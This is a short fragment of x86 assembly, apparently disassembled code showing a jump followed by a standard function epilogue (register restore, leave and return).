jmp 0x4076a3
mov eax, edi
pop edi
pop esi
leave
ret